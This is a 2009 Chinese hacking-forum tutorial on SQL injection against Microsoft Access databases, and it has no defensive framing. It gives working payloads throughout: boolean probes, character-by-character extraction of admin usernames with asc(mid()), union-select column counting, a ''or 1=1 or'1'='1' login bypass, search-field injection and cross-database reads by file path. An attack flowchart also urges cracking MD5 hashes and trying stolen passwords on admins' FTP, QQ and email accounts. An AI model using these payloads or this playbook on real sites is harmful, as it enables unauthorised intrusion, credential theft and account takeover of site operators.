注入攻击——ACCESS总结篇
本帖最后由 nohack 于 2009-7-31 18:10 编辑注入攻击——ACCESS总结篇
对于注射(SQL Injection),其实和语言关系并不大,主要还是根据数据库的划分,常见的数据库有ACCESS,MSSQL,MYSQL,ORACLE,今天入给大家讲讲ACCESS数据库注射的常用方法。
一.基础知识
1.注释符。Access中没有专门的注释符号.但是可以使用空字符"NULL"(%00)代替: and user>0%00
2.语法错误信息。""
3.多句执行。不支持.
4.联合查询。支持
5.附属查询。Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'user' FROM admin)%00
6.LIMIT支持。LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:
' UNION SELECT TOP 3 user FROM admin%00 : 这条语句返回(前)3 行.
7.字符串连接。不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
'web' %2b 'app': 返回"webapp"
'web' %26 'app': 返回"webapp"
8.MID()函数。mid(列名,N,1) 截取第N位数据
9.ASC()函数。asc(mid(列名,N,1)) 截取第N位数据的ASCLL码
10.LEN()函数。and (select top 1 len(username) from admin)>4
11.CHR()函数。CHR(65)=='A'
12.IIF()函数。语法 : IIF(condition, true, false) :
IIF(1=1, 'a', 'b') : 返回 'a'
AND IIF((SELECT COUNT(*) FROM 列名) = X, 1, 0)%00 这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值.
13.exists。存在,and exists (select * from admin)
14.count()。数量
15.left()。left(列名,取出长度)
16.order by。排序
17.逻辑运算符。and or xor not between in like
18.比较运算符。= < > <> >= <=
19.系统表。ACCESS和MSSQL都有自己的系统表,比如存放数据库中所有对象的标,ACCESS是在系统表中,在web环境下读取该表会提示没有权限,SQLSERVER是在标中,在web下可以读取正常。
and (select count(*) from msysobjects)>0
20.select from
二.攻击思路
|----get
注射方式|----post
|----cookie
----数字
注射点类型----字符
|____搜索型
----英文或数字
密码类型
----中文
/默认密码,弱口令,社工,'or'='or'
/
/
|-------union查询-----| ----后台----|/
| | |----进入后台
----猜表----猜列----猜出密码----破解出密码----|
| (一般是MD5加密) |\
| \ \
| \ \
| \ \社工(比如试试这个密码时候是FTP密码,是否管理员的QQ,邮箱密码……)
|----跨库 \如果有后台尝试cookie欺骗
(需要知道另一个库的绝对路径)
(这个数据库无法下载)
三.实践操作
1.以数字型为例:
(1).一步一步猜:
'
and 1=1
and 1=2
and user>0拿库的用户名和一个int类型比较,爆出错误,一般会爆出库用户名和数据库类型的关键字
and exists (select * from admin)猜测是否存在admin表,返回正常,说明存在。
其他相似语句 and (select count(*) from admin)>0
and exsits (select username from admin)猜测admin表中是否存在username表,返回正常说明存在。
and (select top 1 len(username) from admin)>4猜测username的第一条数据的长度。大于4正常,大于5错误,说明长度是5。变换top后的数字,可以猜测第N行的username的长度。
and (select top 1 asc(mid(username,1,1)) from admin)>96top 1仍旧为该列第一条数据,username后的1为第一位,96为猜测的ascll码.
大于96正确,大于97错误,说明第一位是97,转换成字母为a
(2).union查询:
当然也要知道管理员密码所在的表,及相应字段。
order by 7 order by 7返回正常,order by 8返回错误,说明字段数是7
and 1=2 union select 1,2,3,4,5,6,7 from admin
2.字符型
'
' and '1'='1
' and '1'='2
' and 查询语句 and '1'='1 正确返回正常,错误返回错误
对于登陆框内的注射:
用户名 'or 1=1 or'1'='1
'or 1=2 or'1'='1
'or 语句 or'1'='1
密码 随便填
搜索型注射:
%' and '1'='1'
%' and '1'='2
%' and 注射语句 and '1'='1 正确返回正常,错误返回错误
3.post型
把变量赋予相应的值组成url注射。
变量多的时候要抓包看url的构造。
然后手动或者是用工具注射,推荐用NBSI中的post注射。
cookie注射随后单独讲解。
4.猜解密码为中文:
ASCII字符是一字节,值位于0-255之间。
UNICODE字符(汉字)是两个字节,值位于256-65535
and (select top 1 unicode(mid(username,1,1)) from admin)>32768
and (select nchar(32768))>0
5.跨库
通过这个库的注射漏洞查询另外一个库里面的数据
and exsits (select * from d:\web\bbs\data\dvbbs.mdb.dv_admin)>0
页:
[1]